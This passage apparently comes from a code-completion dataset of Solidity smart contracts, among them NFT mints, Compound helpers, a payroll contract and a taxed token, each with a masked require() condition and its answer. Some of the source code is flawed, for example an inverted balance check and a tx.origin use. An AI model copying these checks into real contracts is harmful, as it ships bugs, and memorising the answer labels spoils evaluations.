comment
stringlengths 1
211
⌀ | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
|---|---|---|---|---|
"this contract does not have sufficient balance for reward" | pragma solidity ^0.5.0;
interface ERC20 {
function balanceOf(address _owner) external view returns (uint balance);
function transfer(address _to, uint _value) external returns (bool success);
function transferFrom(address _from, address _to, uint _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint remaining);
}
contract GenArt721Bonus {
using SafeMath for uint256;
ERC20 erc20Contract;
mapping(address => bool) public isWhitelisted;
bool public bonusIsActive;
address public owner;
uint256 public bonusValueInWei;
bool public contractOwnsTokens;
constructor(address _erc20, address _minter, uint256 _bonusValueInWei) public {
}
function triggerBonus(address _to) external returns (bool){
require(isWhitelisted[msg.sender]==true, "only whitelisted contracts can trigger bonus");
if (contractOwnsTokens){
require(<FILL_ME>)
erc20Contract.transfer(_to, bonusValueInWei);
} else {
require(erc20Contract.allowance(owner, address(this))>=bonusValueInWei, "this contract does not have sufficient allowance set for reward");
erc20Contract.transferFrom(owner, _to, bonusValueInWei);
}
return true;
}
function checkOwnerAllowance() public view returns (uint256){
}
function checkContractTokenBalance() public view returns (uint256){
}
function toggleBonusIsActive() public {
}
function toggleContractOwnsTokens() public {
}
function addWhitelisted(address _whitelisted) public {
}
function removeWhitelisted(address _whitelisted) public {
}
function changeBonusValueInWei(uint _bonusValueInWei) public {
}
function returnTokensToOwner() public {
}
}
| erc20Contract.balanceOf(address(this))>=bonusValueInWei,"this contract does not have sufficient balance for reward" | 389,095 | erc20Contract.balanceOf(address(this))>=bonusValueInWei |
"this contract does not have sufficient allowance set for reward" | pragma solidity ^0.5.0;
interface ERC20 {
function balanceOf(address _owner) external view returns (uint balance);
function transfer(address _to, uint _value) external returns (bool success);
function transferFrom(address _from, address _to, uint _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint remaining);
}
contract GenArt721Bonus {
using SafeMath for uint256;
ERC20 erc20Contract;
mapping(address => bool) public isWhitelisted;
bool public bonusIsActive;
address public owner;
uint256 public bonusValueInWei;
bool public contractOwnsTokens;
constructor(address _erc20, address _minter, uint256 _bonusValueInWei) public {
}
function triggerBonus(address _to) external returns (bool){
require(isWhitelisted[msg.sender]==true, "only whitelisted contracts can trigger bonus");
if (contractOwnsTokens){
require(erc20Contract.balanceOf(address(this))>=bonusValueInWei, "this contract does not have sufficient balance for reward");
erc20Contract.transfer(_to, bonusValueInWei);
} else {
require(<FILL_ME>)
erc20Contract.transferFrom(owner, _to, bonusValueInWei);
}
return true;
}
function checkOwnerAllowance() public view returns (uint256){
}
function checkContractTokenBalance() public view returns (uint256){
}
function toggleBonusIsActive() public {
}
function toggleContractOwnsTokens() public {
}
function addWhitelisted(address _whitelisted) public {
}
function removeWhitelisted(address _whitelisted) public {
}
function changeBonusValueInWei(uint _bonusValueInWei) public {
}
function returnTokensToOwner() public {
}
}
| erc20Contract.allowance(owner,address(this))>=bonusValueInWei,"this contract does not have sufficient allowance set for reward" | 389,095 | erc20Contract.allowance(owner,address(this))>=bonusValueInWei |
null | pragma solidity ^0.6.0;
import "../../compound/helpers/CompoundSaverHelper.sol";
contract CompShifter is CompoundSaverHelper {
using SafeERC20 for ERC20;
address public constant COMPTROLLER_ADDR = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B;
function getLoanAmount(uint _cdpId, address _joinAddr) public returns(uint loanAmount) {
}
function getWholeDebt(uint _cdpId, address _joinAddr) public returns(uint loanAmount) {
}
function close(
address _cCollAddr,
address _cBorrowAddr,
uint _collAmount,
uint _debtAmount
) public {
address collAddr = getUnderlyingAddr(_cCollAddr);
// payback debt
paybackDebt(_debtAmount, _cBorrowAddr, getUnderlyingAddr(_cBorrowAddr), tx.origin);
require(<FILL_ME>)
// Send back money to repay FL
if (collAddr == ETH_ADDRESS) {
msg.sender.transfer(address(this).balance);
} else {
ERC20(collAddr).safeTransfer(msg.sender, ERC20(collAddr).balanceOf(address(this)));
}
}
function changeDebt(
address _cBorrowAddrOld,
address _cBorrowAddrNew,
uint _debtAmountOld,
uint _debtAmountNew
) public {
}
function open(
address _cCollAddr,
address _cBorrowAddr,
uint _debtAmount
) public {
}
function repayAll(address _cTokenAddr) public {
}
function depositCompound(address _tokenAddr, address _cTokenAddr, uint _amount) internal {
}
function borrowCompound(address _cTokenAddr, uint _amount) internal {
}
function enterMarket(address _cTokenAddr) public {
}
}
| CTokenInterface(_cCollAddr).redeemUnderlying(_collAmount)==0 | 389,183 | CTokenInterface(_cCollAddr).redeemUnderlying(_collAmount)==0 |
"mint error" | pragma solidity ^0.6.0;
import "../../compound/helpers/CompoundSaverHelper.sol";
contract CompShifter is CompoundSaverHelper {
using SafeERC20 for ERC20;
address public constant COMPTROLLER_ADDR = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B;
function getLoanAmount(uint _cdpId, address _joinAddr) public returns(uint loanAmount) {
}
function getWholeDebt(uint _cdpId, address _joinAddr) public returns(uint loanAmount) {
}
function close(
address _cCollAddr,
address _cBorrowAddr,
uint _collAmount,
uint _debtAmount
) public {
}
function changeDebt(
address _cBorrowAddrOld,
address _cBorrowAddrNew,
uint _debtAmountOld,
uint _debtAmountNew
) public {
}
function open(
address _cCollAddr,
address _cBorrowAddr,
uint _debtAmount
) public {
}
function repayAll(address _cTokenAddr) public {
}
function depositCompound(address _tokenAddr, address _cTokenAddr, uint _amount) internal {
approveCToken(_tokenAddr, _cTokenAddr);
enterMarket(_cTokenAddr);
if (_tokenAddr != ETH_ADDRESS) {
require(<FILL_ME>)
} else {
CEtherInterface(_cTokenAddr).mint{value: _amount}();
}
}
function borrowCompound(address _cTokenAddr, uint _amount) internal {
}
function enterMarket(address _cTokenAddr) public {
}
}
| CTokenInterface(_cTokenAddr).mint(_amount)==0,"mint error" | 389,183 | CTokenInterface(_cTokenAddr).mint(_amount)==0 |
null | pragma solidity ^0.6.0;
import "../../compound/helpers/CompoundSaverHelper.sol";
contract CompShifter is CompoundSaverHelper {
using SafeERC20 for ERC20;
address public constant COMPTROLLER_ADDR = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B;
function getLoanAmount(uint _cdpId, address _joinAddr) public returns(uint loanAmount) {
}
function getWholeDebt(uint _cdpId, address _joinAddr) public returns(uint loanAmount) {
}
function close(
address _cCollAddr,
address _cBorrowAddr,
uint _collAmount,
uint _debtAmount
) public {
}
function changeDebt(
address _cBorrowAddrOld,
address _cBorrowAddrNew,
uint _debtAmountOld,
uint _debtAmountNew
) public {
}
function open(
address _cCollAddr,
address _cBorrowAddr,
uint _debtAmount
) public {
}
function repayAll(address _cTokenAddr) public {
}
function depositCompound(address _tokenAddr, address _cTokenAddr, uint _amount) internal {
}
function borrowCompound(address _cTokenAddr, uint _amount) internal {
enterMarket(_cTokenAddr);
require(<FILL_ME>)
}
function enterMarket(address _cTokenAddr) public {
}
}
| CTokenInterface(_cTokenAddr).borrow(_amount)==0 | 389,183 | CTokenInterface(_cTokenAddr).borrow(_amount)==0 |
"Value sent is not correct" | //Contract based on https://docs.openzeppelin.com/contracts/3.x/erc721
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./ERC721.sol";
import "./Ownable.sol";
import "./SafeMath.sol";
import "./Math.sol";
import "./EnumerableMap.sol";
import "./ERC721Enumerable.sol";
import "./ERC1155.sol";
contract CryptoAlienSociety is ERC721Enumerable, Ownable {
using SafeMath for uint256;
// Events
event TokenMinted(uint256 tokenId, address owner, uint256 first_encounter);
// Provenance number
string public PROVENANCE = "";
// Max amount of token to purchase per account each time
uint256 public MAX_PURCHASE = 10;
// Maximum amount of tokens to supply.
uint256 public MAX_TOKENS = 8888;
// Current price.
uint256 public CURRENT_PRICE = 30000000000000000;
// Define if sale is active
bool public saleIsActive = false;
// Base URI
string private baseURI;
/**
* Contract constructor
*/
constructor(string memory name, string memory symbol)
ERC721(name, symbol)
{}
/**
* With
*/
function withdraw() public onlyOwner {
}
/**
* Reserve tokens
*/
function reserveTokens(uint256 amount) public onlyOwner {
}
/*
* Set provenance once it's calculated
*/
function setProvenanceHash(string memory provenanceHash) public onlyOwner {
}
/*
* Set max tokens
*/
function setMaxTokens(uint256 maxTokens) public onlyOwner {
}
/*
* Pause sale if active, make active if paused
*/
function setSaleState(bool newState) public onlyOwner {
}
/**
* Mint CryptoAlienSociety
*/
function mintCryptoAlienSociety(uint256 numberOfTokens) public payable {
require(saleIsActive, "Mint is not available right now");
require(
numberOfTokens <= MAX_PURCHASE,
"Can only mint 20 tokens at a time"
);
require(
totalSupply().add(numberOfTokens) <= MAX_TOKENS,
"Purchase would exceed max supply of CryptoAlienSociety"
);
require(<FILL_ME>)
uint256 first_encounter = block.timestamp;
uint256 tokenId;
for (uint256 i = 1; i <= numberOfTokens; i++) {
tokenId = totalSupply().add(1);
if (tokenId <= MAX_TOKENS) {
_safeMint(msg.sender, tokenId);
emit TokenMinted(tokenId, msg.sender, first_encounter);
}
}
}
/**
* @dev Changes the base URI if we want to move things in the future (Callable by owner only)
*/
function setBaseURI(string memory BaseURI) public onlyOwner {
}
/**
* @dev Base URI for computing {tokenURI}. Empty by default, can be overriden
* in child contracts.
*/
function _baseURI() internal view virtual override returns (string memory) {
}
/**
* Set the current token price
*/
function setCurrentPrice(uint256 currentPrice) public onlyOwner {
}
function changeMaxPurchase(uint256 _maxPurchase) public onlyOwner {
}
}
| CURRENT_PRICE.mul(numberOfTokens)<=msg.value,"Value sent is not correct" | 389,223 | CURRENT_PRICE.mul(numberOfTokens)<=msg.value |
null | pragma solidity ^0.5.1;
interface CompoundContract {
function supply (address asset, uint256 amount) external returns (uint256);
function withdraw (address asset, uint256 requestedAmount) external returns (uint256);
}
interface token {
function transfer(address _to, uint256 _value) external returns (bool success) ;
function approve(address _spender, uint256 _value) external returns (bool);
function balanceOf(address owner) external returns (uint256);
}
contract owned {
address public owner;
constructor() public {
}
modifier onlyOwner {
}
function transferOwnership(address newOwner) onlyOwner public {
}
}
contract CompoundPayroll is owned {
address compoundAddress = 0x3FDA67f7583380E67ef93072294a7fAc882FD7E7;
address daiAddress = 0x89d24A6b4CcB1B6fAA2625fE562bDD9a23260359;
CompoundContract compound = CompoundContract(compoundAddress);
token dai = token(daiAddress);
Salary[] public payroll;
mapping (address => uint) public salaryId;
event MemberPaid(address recipient, uint amount);
struct Salary {
address recipient;
uint payRate;
uint lastPaid;
string name;
}
constructor() public {
}
function save() public {
}
function cashOut (uint256 amount, address recipient) public onlyOwner {
}
function changePay(address recipient, uint yearlyPay, uint startingDate, string memory initials) onlyOwner public {
}
function removePay(address recipient) onlyOwner public {
require(<FILL_ME>)
for (uint i = salaryId[recipient]; i<payroll.length-1; i++){
payroll[i] = payroll[i+1];
salaryId[payroll[i].recipient] = i;
}
salaryId[recipient] = 0;
delete payroll[payroll.length-1];
payroll.length--;
}
function getAmountOwed(address recipient) view public returns (uint256) {
}
//pay someone
function paySalary(address recipient) public {
}
// pay everyone!
function() external payable {
}
}
| salaryId[recipient]!=0 | 389,296 | salaryId[recipient]!=0 |
null | pragma solidity ^0.5.1;
interface CompoundContract {
function supply (address asset, uint256 amount) external returns (uint256);
function withdraw (address asset, uint256 requestedAmount) external returns (uint256);
}
interface token {
function transfer(address _to, uint256 _value) external returns (bool success) ;
function approve(address _spender, uint256 _value) external returns (bool);
function balanceOf(address owner) external returns (uint256);
}
contract owned {
address public owner;
constructor() public {
}
modifier onlyOwner {
}
function transferOwnership(address newOwner) onlyOwner public {
}
}
contract CompoundPayroll is owned {
address compoundAddress = 0x3FDA67f7583380E67ef93072294a7fAc882FD7E7;
address daiAddress = 0x89d24A6b4CcB1B6fAA2625fE562bDD9a23260359;
CompoundContract compound = CompoundContract(compoundAddress);
token dai = token(daiAddress);
Salary[] public payroll;
mapping (address => uint) public salaryId;
event MemberPaid(address recipient, uint amount);
struct Salary {
address recipient;
uint payRate;
uint lastPaid;
string name;
}
constructor() public {
}
function save() public {
}
function cashOut (uint256 amount, address recipient) public onlyOwner {
}
function changePay(address recipient, uint yearlyPay, uint startingDate, string memory initials) onlyOwner public {
}
function removePay(address recipient) onlyOwner public {
}
function getAmountOwed(address recipient) view public returns (uint256) {
}
//pay someone
function paySalary(address recipient) public {
}
// pay everyone!
function() external payable {
uint totalToPay = 0;
uint payrollLength = payroll.length;
uint[] memory payments = new uint[](payrollLength);
uint amount;
for (uint i = 1; i<payrollLength-1; i++){
amount = (now - payroll[i].lastPaid) * payroll[i].payRate;
totalToPay += amount;
payments[i] = amount;
}
compound.withdraw(daiAddress, totalToPay);
require(<FILL_ME>)
for (uint i = 1; i<payrollLength-1; i++){
payroll[i].lastPaid = now;
dai.transfer(payroll[i].recipient, payments[i]);
emit MemberPaid(payroll[i].recipient, payments[i]);
}
save();
msg.sender.transfer(msg.value);
}
}
| dai.balanceOf(address(this))<=totalToPay | 389,296 | dai.balanceOf(address(this))<=totalToPay |
'Proof invalid for claim' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
// NFTC Prerelease Contracts
import './nftc-open-contracts/whitelisting/MerkleLeaves.sol';
// NFTC Prerelease Libraries
import {MerkleClaimList} from './nftc-open-contracts/whitelisting/MerkleClaimList.sol';
import {WalletIndex} from './nftc-open-contracts/whitelisting/WalletIndex.sol';
// ERC721A from Chiru Labs
import './ERC721A.sol';
// OZ Libraries
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
/**
* @title GPunksBase
* @author kodbilen.eth | twitter.com/kodbilenadam
* @dev Standard ERC721A implementation
*
* GobzPunksBase is an ERC721A NFT contract to allow free mint for the GEN1 and GEN2 in GobzNFT community.
*
* In addition to using ERC721A, gas is optimized via Merkle Trees and use of constants where possible.
*
* Reusable functionality is packaged in included contracts:
* - MerkleLeaves - helper functionality for MerkleTrees
*
* And libraries:
* - MerkleClaimList - a self contained basic MerkleTree implementation, that makes it easier
* to support multiple merkle trees in the same contract.
* - WalletIndex - a helper library for tracking indexes by wallet
*
* Based on NoobPunksContract by NiftyMike.eth & NFTCulture
* NFTC Open Source Contracts See: https://github.com/NFTCulture/nftc-open-contracts
*
*/
abstract contract GPunksBase is
ERC721A,
Ownable,
ReentrancyGuard,
MerkleLeaves
{
using Strings for uint256;
using MerkleClaimList for MerkleClaimList.Root;
using WalletIndex for WalletIndex.Index;
uint256 private constant MAX_NFTS_FOR_SALE = 1500;
uint256 private constant MAX_CLAIM_BATCH_SIZE = 10;
bool public IS_CLAIM_ACTIVE = false;
string public baseURI;
MerkleClaimList.Root private _claimRoot;
WalletIndex.Index private _claimedWalletIndexes;
constructor(
string memory __name,
string memory __symbol,
string memory __baseURI
) ERC721A(__name, __symbol) {
}
function maxSupply() external pure returns (uint256) {
}
function setBaseURI(string memory __baseUri) external onlyOwner {
}
function setMerkleRoot(bytes32 __claimRoot) external onlyOwner {
}
function toggleClaim() public
onlyOwner
{
}
function checkClaim(
bytes32[] calldata proof,
address wallet,
uint256 index
) external view returns (bool) {
}
function totalMintedByWallet(address wallet) external view returns (uint256) {
}
function getNextClaimIndex(address wallet) external view returns (uint256) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function reservePunks(address[] memory friends, uint256 count) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function _tokenFilename(uint256 tokenId) internal view virtual returns (string memory) {
}
function claimPunks(bytes32[] calldata proof, uint256 count) external nonReentrant {
}
function _claimPunks(
address minter,
bytes32[] calldata proof,
uint256 count
) internal {
// Verify address is eligible for claim.
require(<FILL_ME>)
// Has to be tracked indepedently for claim, since caller might have previously used claim.
require(
_claimedWalletIndexes._getNextIndex(minter) + count <= MAX_CLAIM_BATCH_SIZE,
'Requesting too many in claim'
);
_claimedWalletIndexes._incrementIndex(minter, count);
_internalMintTokens(minter, count);
}
function _internalMintTokens(address minter, uint256 count) internal {
}
}
| _claimRoot._checkLeaf(proof,_generateLeaf(minter)),'Proof invalid for claim' | 389,401 | _claimRoot._checkLeaf(proof,_generateLeaf(minter)) |
'Requesting too many in claim' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
// NFTC Prerelease Contracts
import './nftc-open-contracts/whitelisting/MerkleLeaves.sol';
// NFTC Prerelease Libraries
import {MerkleClaimList} from './nftc-open-contracts/whitelisting/MerkleClaimList.sol';
import {WalletIndex} from './nftc-open-contracts/whitelisting/WalletIndex.sol';
// ERC721A from Chiru Labs
import './ERC721A.sol';
// OZ Libraries
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
/**
* @title GPunksBase
* @author kodbilen.eth | twitter.com/kodbilenadam
* @dev Standard ERC721A implementation
*
* GobzPunksBase is an ERC721A NFT contract to allow free mint for the GEN1 and GEN2 in GobzNFT community.
*
* In addition to using ERC721A, gas is optimized via Merkle Trees and use of constants where possible.
*
* Reusable functionality is packaged in included contracts:
* - MerkleLeaves - helper functionality for MerkleTrees
*
* And libraries:
* - MerkleClaimList - a self contained basic MerkleTree implementation, that makes it easier
* to support multiple merkle trees in the same contract.
* - WalletIndex - a helper library for tracking indexes by wallet
*
* Based on NoobPunksContract by NiftyMike.eth & NFTCulture
* NFTC Open Source Contracts See: https://github.com/NFTCulture/nftc-open-contracts
*
*/
abstract contract GPunksBase is
ERC721A,
Ownable,
ReentrancyGuard,
MerkleLeaves
{
using Strings for uint256;
using MerkleClaimList for MerkleClaimList.Root;
using WalletIndex for WalletIndex.Index;
uint256 private constant MAX_NFTS_FOR_SALE = 1500;
uint256 private constant MAX_CLAIM_BATCH_SIZE = 10;
bool public IS_CLAIM_ACTIVE = false;
string public baseURI;
MerkleClaimList.Root private _claimRoot;
WalletIndex.Index private _claimedWalletIndexes;
constructor(
string memory __name,
string memory __symbol,
string memory __baseURI
) ERC721A(__name, __symbol) {
}
function maxSupply() external pure returns (uint256) {
}
function setBaseURI(string memory __baseUri) external onlyOwner {
}
function setMerkleRoot(bytes32 __claimRoot) external onlyOwner {
}
function toggleClaim() public
onlyOwner
{
}
function checkClaim(
bytes32[] calldata proof,
address wallet,
uint256 index
) external view returns (bool) {
}
function totalMintedByWallet(address wallet) external view returns (uint256) {
}
function getNextClaimIndex(address wallet) external view returns (uint256) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function reservePunks(address[] memory friends, uint256 count) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function _tokenFilename(uint256 tokenId) internal view virtual returns (string memory) {
}
function claimPunks(bytes32[] calldata proof, uint256 count) external nonReentrant {
}
function _claimPunks(
address minter,
bytes32[] calldata proof,
uint256 count
) internal {
// Verify address is eligible for claim.
require(_claimRoot._checkLeaf(proof, _generateLeaf(minter)), 'Proof invalid for claim');
// Has to be tracked indepedently for claim, since caller might have previously used claim.
require(<FILL_ME>)
_claimedWalletIndexes._incrementIndex(minter, count);
_internalMintTokens(minter, count);
}
function _internalMintTokens(address minter, uint256 count) internal {
}
}
| _claimedWalletIndexes._getNextIndex(minter)+count<=MAX_CLAIM_BATCH_SIZE,'Requesting too many in claim' | 389,401 | _claimedWalletIndexes._getNextIndex(minter)+count<=MAX_CLAIM_BATCH_SIZE |
'Limit exceeded' | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
// NFTC Prerelease Contracts
import './nftc-open-contracts/whitelisting/MerkleLeaves.sol';
// NFTC Prerelease Libraries
import {MerkleClaimList} from './nftc-open-contracts/whitelisting/MerkleClaimList.sol';
import {WalletIndex} from './nftc-open-contracts/whitelisting/WalletIndex.sol';
// ERC721A from Chiru Labs
import './ERC721A.sol';
// OZ Libraries
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
/**
* @title GPunksBase
* @author kodbilen.eth | twitter.com/kodbilenadam
* @dev Standard ERC721A implementation
*
* GobzPunksBase is an ERC721A NFT contract to allow free mint for the GEN1 and GEN2 in GobzNFT community.
*
* In addition to using ERC721A, gas is optimized via Merkle Trees and use of constants where possible.
*
* Reusable functionality is packaged in included contracts:
* - MerkleLeaves - helper functionality for MerkleTrees
*
* And libraries:
* - MerkleClaimList - a self contained basic MerkleTree implementation, that makes it easier
* to support multiple merkle trees in the same contract.
* - WalletIndex - a helper library for tracking indexes by wallet
*
* Based on NoobPunksContract by NiftyMike.eth & NFTCulture
* NFTC Open Source Contracts See: https://github.com/NFTCulture/nftc-open-contracts
*
*/
abstract contract GPunksBase is
ERC721A,
Ownable,
ReentrancyGuard,
MerkleLeaves
{
using Strings for uint256;
using MerkleClaimList for MerkleClaimList.Root;
using WalletIndex for WalletIndex.Index;
uint256 private constant MAX_NFTS_FOR_SALE = 1500;
uint256 private constant MAX_CLAIM_BATCH_SIZE = 10;
bool public IS_CLAIM_ACTIVE = false;
string public baseURI;
MerkleClaimList.Root private _claimRoot;
WalletIndex.Index private _claimedWalletIndexes;
constructor(
string memory __name,
string memory __symbol,
string memory __baseURI
) ERC721A(__name, __symbol) {
}
function maxSupply() external pure returns (uint256) {
}
function setBaseURI(string memory __baseUri) external onlyOwner {
}
function setMerkleRoot(bytes32 __claimRoot) external onlyOwner {
}
function toggleClaim() public
onlyOwner
{
}
function checkClaim(
bytes32[] calldata proof,
address wallet,
uint256 index
) external view returns (bool) {
}
function totalMintedByWallet(address wallet) external view returns (uint256) {
}
function getNextClaimIndex(address wallet) external view returns (uint256) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function reservePunks(address[] memory friends, uint256 count) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function _tokenFilename(uint256 tokenId) internal view virtual returns (string memory) {
}
function claimPunks(bytes32[] calldata proof, uint256 count) external nonReentrant {
}
function _claimPunks(
address minter,
bytes32[] calldata proof,
uint256 count
) internal {
}
function _internalMintTokens(address minter, uint256 count) internal {
require(<FILL_ME>)
_safeMint(minter, count);
}
}
| totalSupply()+count<=MAX_NFTS_FOR_SALE,'Limit exceeded' | 389,401 | totalSupply()+count<=MAX_NFTS_FOR_SALE |
"Account must not be excluded" | pragma solidity ^0.8.0;
contract SIMP is ERC20, Ownable {
using SafeMath for uint256;
modifier lockSwap {
}
modifier liquidityAdd {
}
uint256 public constant MAX_SUPPLY = 1_000_000_000 ether;
uint256 internal _maxTransfer = 5;
uint256 public marketingRate = 5;
uint256 public treasuryRate = 5;
uint256 public reflectRate = 5;
/// @notice Contract SIMP balance threshold before `_swap` is invoked
uint256 public minTokenBalance = 10000000 ether;
bool public swapFees = true;
// total wei reflected ever
uint256 public ethReflectionBasis;
uint256 public totalReflected;
uint256 public totalMarketing;
uint256 public totalTreasury;
address payable public marketingWallet;
address payable public treasuryWallet;
uint256 internal _totalSupply = 0;
IUniswapV2Router02 internal _router = IUniswapV2Router02(address(0));
address internal _pair;
bool internal _inSwap = false;
bool internal _inLiquidityAdd = false;
bool public tradingActive = false;
mapping(address => uint256) private _balances;
mapping(address => bool) private _taxExcluded;
mapping(address => uint256) public lastReflectionBasis;
constructor(
address _uniswapFactory,
address _uniswapRouter,
address payable _marketingWallet,
address payable _treasuryWallet
) ERC20("SIMPTOKEN v2", "SIMP") Ownable() {
}
/// @notice Change the address of the marketing wallet
/// @param _marketingWallet The new address of the marketing wallet
function setMarketingWallet(address payable _marketingWallet) external onlyOwner() {
}
/// @notice Change the address of the treasury wallet
/// @param _treasuryWallet The new address of the treasury wallet
function setTreasuryWallet(address payable _treasuryWallet) external onlyOwner() {
}
/// @notice Change the marketing tax rate
/// @param _marketingRate The new marketing tax rate
function setMarketingRate(uint256 _marketingRate) external onlyOwner() {
}
/// @notice Change the treasury tax rate
/// @param _treasuryRate The new treasury tax rate
function setTreasuryRate(uint256 _treasuryRate) external onlyOwner() {
}
/// @notice Change the reflection tax rate
/// @param _reflectRate The new reflection tax rate
function setReflectRate(uint256 _reflectRate) external onlyOwner() {
}
/// @notice Change the minimum contract SIMP balance before `_swap` gets invoked
/// @param _minTokenBalance The new minimum balance
function setMinTokenBalance(uint256 _minTokenBalance) external onlyOwner() {
}
/// @notice Rescue SIMP from the marketing amount
/// @dev Should only be used in an emergency
/// @param _amount The amount of SIMP to rescue
/// @param _recipient The recipient of the rescued SIMP
function rescueMarketingTokens(uint256 _amount, address _recipient) external onlyOwner() {
}
/// @notice Rescue SIMP from the treasury amount
/// @dev Should only be used in an emergency
/// @param _amount The amount of SIMP to rescue
/// @param _recipient The recipient of the rescued SIMP
function rescueTreasuryTokens(uint256 _amount, address _recipient) external onlyOwner() {
}
/// @notice Rescue SIMP from the reflection amount
/// @dev Should only be used in an emergency
/// @param _amount The amount of SIMP to rescue
/// @param _recipient The recipient of the rescued SIMP
function rescueReflectionTokens(uint256 _amount, address _recipient) external onlyOwner() {
}
function addLiquidity(uint256 tokens) external payable onlyOwner() liquidityAdd {
}
/// @notice Enables trading on Uniswap
function enableTrading() external onlyOwner {
}
/// @notice Disables trading on Uniswap
function disableTrading() external onlyOwner {
}
function addReflection() external payable {
}
function isTaxExcluded(address account) public view returns (bool) {
}
function addTaxExcluded(address account) public onlyOwner() {
require(<FILL_ME>)
_taxExcluded[account] = true;
}
function removeTaxExcluded(address account) external onlyOwner() {
}
function balanceOf(address account)
public
view
virtual
override
returns (uint256)
{
}
function _addBalance(address account, uint256 amount) internal {
}
function _subtractBalance(address account, uint256 amount) internal {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal override {
}
function unclaimedReflection(address addr) public view returns (uint256) {
}
/// @notice Claims reflection pool ETH
/// @param addr The address to claim the reflection for
function _claimReflection(address payable addr) internal {
}
function claimReflection() external {
}
/// @notice Perform a Uniswap v2 swap from SIMP to ETH and handle tax distribution
/// @param amount The amount of SIMP to swap in wei
/// @dev `amount` is always <= this contract's ETH balance. Calculate and distribute marketing and reflection taxes
function _swap(uint256 amount) internal lockSwap {
}
function swapAll() external {
}
function withdrawAll() external onlyOwner() {
}
/// @notice Transfers SIMP from an account to this contract for taxes
/// @param _account The account to transfer SIMP from
/// @param _marketingAmount The amount of marketing tax to transfer
/// @param _treasuryAmount The amount of treasury tax to transfer
/// @param _reflectAmount The amount of reflection tax to transfer
function _takeTaxes(
address _account,
uint256 _marketingAmount,
uint256 _treasuryAmount,
uint256 _reflectAmount
) internal {
}
/// @notice Get a breakdown of send and tax amounts
/// @param amount The amount to tax in wei
/// @return send The raw amount to send
/// @return reflect The raw reflection tax amount
/// @return marketing The raw marketing tax amount
/// @return treasury The raw treasury tax amount
function _getTaxAmounts(uint256 amount)
internal
view
returns (
uint256 send,
uint256 reflect,
uint256 marketing,
uint256 treasury
)
{
}
// modified from OpenZeppelin ERC20
function _rawTransfer(
address sender,
address recipient,
uint256 amount
) internal {
}
function setMaxTransfer(uint256 maxTransfer) external onlyOwner() {
}
/// @notice Enable or disable whether swap occurs during `_transfer`
/// @param _swapFees If true, enables swap during `_transfer`
function setSwapFees(bool _swapFees) external onlyOwner() {
}
function totalSupply() public view override returns (uint256) {
}
function _mint(address account, uint256 amount) internal override {
}
function mint(address account, uint256 amount) external onlyOwner() {
}
function airdrop(address[] memory accounts, uint256[] memory amounts) external onlyOwner() {
}
receive() external payable {}
}
| !isTaxExcluded(account),"Account must not be excluded" | 389,450 | !isTaxExcluded(account) |
"Max supply exceeded" | pragma solidity ^0.8.0;
contract SIMP is ERC20, Ownable {
using SafeMath for uint256;
modifier lockSwap {
}
modifier liquidityAdd {
}
uint256 public constant MAX_SUPPLY = 1_000_000_000 ether;
uint256 internal _maxTransfer = 5;
uint256 public marketingRate = 5;
uint256 public treasuryRate = 5;
uint256 public reflectRate = 5;
/// @notice Contract SIMP balance threshold before `_swap` is invoked
uint256 public minTokenBalance = 10000000 ether;
bool public swapFees = true;
// total wei reflected ever
uint256 public ethReflectionBasis;
uint256 public totalReflected;
uint256 public totalMarketing;
uint256 public totalTreasury;
address payable public marketingWallet;
address payable public treasuryWallet;
uint256 internal _totalSupply = 0;
IUniswapV2Router02 internal _router = IUniswapV2Router02(address(0));
address internal _pair;
bool internal _inSwap = false;
bool internal _inLiquidityAdd = false;
bool public tradingActive = false;
mapping(address => uint256) private _balances;
mapping(address => bool) private _taxExcluded;
mapping(address => uint256) public lastReflectionBasis;
constructor(
address _uniswapFactory,
address _uniswapRouter,
address payable _marketingWallet,
address payable _treasuryWallet
) ERC20("SIMPTOKEN v2", "SIMP") Ownable() {
}
/// @notice Change the address of the marketing wallet
/// @param _marketingWallet The new address of the marketing wallet
function setMarketingWallet(address payable _marketingWallet) external onlyOwner() {
}
/// @notice Change the address of the treasury wallet
/// @param _treasuryWallet The new address of the treasury wallet
function setTreasuryWallet(address payable _treasuryWallet) external onlyOwner() {
}
/// @notice Change the marketing tax rate
/// @param _marketingRate The new marketing tax rate
function setMarketingRate(uint256 _marketingRate) external onlyOwner() {
}
/// @notice Change the treasury tax rate
/// @param _treasuryRate The new treasury tax rate
function setTreasuryRate(uint256 _treasuryRate) external onlyOwner() {
}
/// @notice Change the reflection tax rate
/// @param _reflectRate The new reflection tax rate
function setReflectRate(uint256 _reflectRate) external onlyOwner() {
}
/// @notice Change the minimum contract SIMP balance before `_swap` gets invoked
/// @param _minTokenBalance The new minimum balance
function setMinTokenBalance(uint256 _minTokenBalance) external onlyOwner() {
}
/// @notice Rescue SIMP from the marketing amount
/// @dev Should only be used in an emergency
/// @param _amount The amount of SIMP to rescue
/// @param _recipient The recipient of the rescued SIMP
function rescueMarketingTokens(uint256 _amount, address _recipient) external onlyOwner() {
}
/// @notice Rescue SIMP from the treasury amount
/// @dev Should only be used in an emergency
/// @param _amount The amount of SIMP to rescue
/// @param _recipient The recipient of the rescued SIMP
